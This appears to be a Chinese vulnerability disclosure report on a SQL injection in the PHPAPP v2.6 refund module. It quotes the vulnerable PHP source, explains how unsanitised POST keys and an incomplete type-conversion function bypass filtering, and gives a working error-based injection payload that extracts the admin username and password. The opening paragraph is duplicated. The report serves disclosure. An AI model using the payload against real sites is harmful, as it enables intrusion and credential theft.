### 简要描述: PHPAPP注入第九枚(insert无视过滤) ### 详细说明: 在wooyun上看到了有人提了PHPAPP的漏洞: http://wooyun.org/bugs/wooyun-2010-055604,然后去官网看了看,前几天刚有更新,就在官网下了PHPAPP最新的v2.6来看看(2014-12-11更新的)。 PSOT注入点:wwww.xxx.com/member.php?action=1&app=43&cid=2&rid=-1, 存在漏洞的文件在/phpapp/apps/refund/member_phpapp.php 审核大大,这里说明一下,前面提交了一个漏洞(http://wooyun.org/bugs/wooyun-2014-088699),和本漏洞存在于同一个文件,但是1、URL不同;2、对参数rid的要求不同:一个是要大于0,一个要求小于0;3、SQL语句不同:一个是Update注入,一个是Insert注入;4:注入参数不同:一个是sellercontent,一个是buyercontent,这应该不能算是重复吧。 下面分析一下漏洞产生的原因 第一处绕过: 先看看是如何得到$_POST中的内容的,$this->POST=$this->POSTArray();如果key的最后一个字母是’_s’时,用户的输入会经过str方法的防注处理。而如果key(参数)的最后一个字母不是’_s’,则可以功能绕过过滤! 第二处绕过: ``` if($this->POST['submit']){ if($this->IsSQL('refund_money',"WHERE cid='$this->cid' AND process=3")){ $this->Refresh('该订单您已经申请退款并处理过了!',SURL.'/member.php?app='.$this->app.'&action=1'); } if($consumearr['process']!=6){ $this->POST['money']=floatval($this->POST['money']); $this->POST['content']=$this->str($this->POST['content'],0,0,0,1,0,0,1);...
### 简要描述: PHPAPP注入第九枚(insert无视过滤) ### 详细说明: 在wooyun上看到了有人提了PHPAPP的漏洞: http://wooyun.org/bugs/wooyun-2010-055604,然后去官网看了看,前几天刚有更新,就在官网下了PHPAPP最新的v2.6来看看(2014-12-11更新的)。 PSOT注入点:wwww.xxx.com/member.php?action=1&app=43&cid=2&rid=-1, 存在漏洞的文件在/phpapp/apps/refund/member_phpapp.php 审核大大,这里说明一下,前面提交了一个漏洞(http://wooyun.org/bugs/wooyun-2014-088699),和本漏洞存在于同一个文件,但是1、URL不同;2、对参数rid的要求不同:一个是要大于0,一个要求小于0;3、SQL语句不同:一个是Update注入,一个是Insert注入;4:注入参数不同:一个是sellercontent,一个是buyercontent,这应该不能算是重复吧。 下面分析一下漏洞产生的原因 第一处绕过: 先看看是如何得到$_POST中的内容的,$this->POST=$this->POSTArray();如果key的最后一个字母是’_s’时,用户的输入会经过str方法的防注处理。而如果key(参数)的最后一个字母不是’_s’,则可以功能绕过过滤! 第二处绕过: ``` if($this->POST['submit']){ if($this->IsSQL('refund_money',"WHERE cid='$this->cid' AND process=3")){ $this->Refresh('该订单您已经申请退款并处理过了!',SURL.'/member.php?app='.$this->app.'&action=1'); } if($consumearr['process']!=6){ $this->POST['money']=floatval($this->POST['money']); $this->POST['content']=$this->str($this->POST['content'],0,0,0,1,0,0,1); $consumemoney=$consumearr['amount']+$consumearr['fee']; if($this->POST['money']> $consumemoney){ $this->Refresh('对不起您申请的退款金额不能大于 '.$consumemoney.' 元!',SURL.'/member.php?app='.$this->app.'&action=1&cid='.$this->cid); } include_once(Core.'/class/photo_upload_phpapp.php'); if($_FILES['buyerphoto']['size']>0){ $photoid=empty($refund['buyerphoto']) ? 0 : intval($refund['buyerphoto']); $upload=new UploadPhoto($_FILES['buyerphoto'],$photoid); $photoid=$upload->CheckUpload(); }else{ if(!empty($refund['buyerphoto'])){ $photoid=intval($refund['buyerphoto']); } } $this->Update('consume',array('refundmoney'=>$this->POST['money'],'process'=>4),array()," WHERE cid='$consumearr[cid]'"); $edittxt=''; if($this->rid>0){ $edittxt='修改了'; } if($this->rid>0){ $this->Update('refund_money',$this->POST,array('dateline'=>$this->NowTime(),'buyeruid'=>$consumearr['buyeruid'],'selleruid'=>$consumearr['selleruid'],'tid'=>$consumearr['tid'],'cid'=>$consumearr['cid'],'oid'=>$consumearr['oid'],'buyerphoto'=>$photoid,'process'=>1)," WHERE rid='$this->rid' AND buyeruid='$this->uid'"); }else{ $this->rid=$this->Insert('refund_money',$this->POST,array('buyeruid'=>$consumearr['buyeruid'],'selleruid'=>$consumearr['selleruid'],'tid'=>$consumearr['tid'],'cid'=>$consumearr['cid'],'oid'=>$consumearr['oid'],'buyerphoto'=>$photoid,'dateline'=>$this->NowTime(),'process'=>1)); $autorunarr=$this->GetMysqlOne('*'," ".$this->GetTable('autorun')." WHERE aid='$consumearr[runid]' "); if($autorunarr['aid']>0){ //加7天 $newruntime=$autorunarr['runtime']+7*24*60*60; $runcode=serialize(array( 'app'=>49, 'runtime'=>$newruntime, 'function'=>'RefundOrder', 'cid'=>$consumearr['cid'] )); $this->Update('autorun',array('runcode'=>$runcode,'runtime'=>$newruntime),array()," WHERE aid='$consumearr[runid]'"); } } ``` 看到了这句(条件是$this->rid>0不成立,而这个参数用户可控)$this->rid=$this->Insert('refund_money',$this->POST,array('buyeruid'=>$consumearr['buyeruid'],'selleruid'=>$consumearr['selleruid'],'tid'=>$consumearr['tid'],'cid'=>$consumearr['cid'],'oid'=>$consumearr['oid'],'buyerphoto'=>$photoid,'dateline'=>$this->NowTime(),'process'=>1));把整个post的内容带入了Insert方法,再去看看Insert方法,/phpapp/apps/core/class/mysql_class_phpapp.php ``` //Insert //表名, 插入数组,添加合并数组 function Insert($tablename,$inserarr=array(),$addarr=array()){ $inserarr=array_merge($inserarr,$addarr); $deletearr=$this->GetMysqlFieldArray($tablename); $insertkey=$insertvalue=''; foreach($inserarr as $key=>$value){ $_key=strtolower($key); if(isset($deletearr[$_key])){ if($insertkey){ $insertkey.=',`'.$_key.'`'; }else{ $insertkey.='(`'.$_key.'`'; } $value=$this->dataTypeConvert($value,$deletearr[$_key]); if($insertvalue){ $insertvalue.=',\''.$value.'\''; }else{ $insertvalue.='(\''.$value.'\''; } } } $indata=$insertkey.')VALUES'.$insertvalue.')'; $sql=sprintf('INSERT INTO %s %s',$this->GetTable($tablename),$indata); $this->MysqlQuery($sql); return mysql_insert_id(); //自增ID返回值 } ``` Insert代码防注分析: 1、通过GetMysqlFieldArray方法获取数据表的所有字段名及每个字段对应的属性; 2、判断用户post的内容中的key是否是数据表中的字段名,防止了key的注入; 3、通过dataTypeConvert方法把用户提交的数据按数据表中各字段的类型进行防注转换。 如果以上每一步的代码都正确实现了的话,应该是没有办法注入的,但是这里的第3步中,也就是dataTypeConvert方法的实现时有疏忽,看下面代码。 ``` function dataTypeConvert($data,$type){ switch($type){ case 'int': $data=intval($data); break; case 'real': $data=doubleval($data); break; case 'timestamp': $data=intval($data); break; case 'string': case 'year': case 'date': case 'time': case 'datetime': case 'blob': default: //$data=intval($data); break; } return $data; } ``` 只对int、real、timestamp做了处理,其他的类型这里没有处理。 绕过方法: 在提交http请求时,可以提交其他类型的参数,但其他参数必须是数据表(phpapp_refund_money)中的字段,且类型不是int、real、timestamp的参数。 测试时请保证自己的账号有可退款的订单,现实情况是很容易满足的。 下面以sellercontent为例进行证明: Phpapp可以显错,那就用error-based blind进行注入。 Pyload:(POST提交) ``` submit=2&buyercontent=test' or(select 1 from (select count(*),concat(floor(rand(0)*2),(select concat(0x23,username,0x23,password) from phpapp_member limit 0,1))a from information_schema.tables group by a)b) or' ``` 注入成功,管理员用户名及密码如下图中所示: [<img src="https://images.seebug.org/upload/201412/27234116994bcb75272f04ef7d7c5961f24fd4fb.jpg" alt="注入成功副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/27234116994bcb75272f04ef7d7c5961f24fd4fb.jpg) ### 漏洞证明: 见 详细说明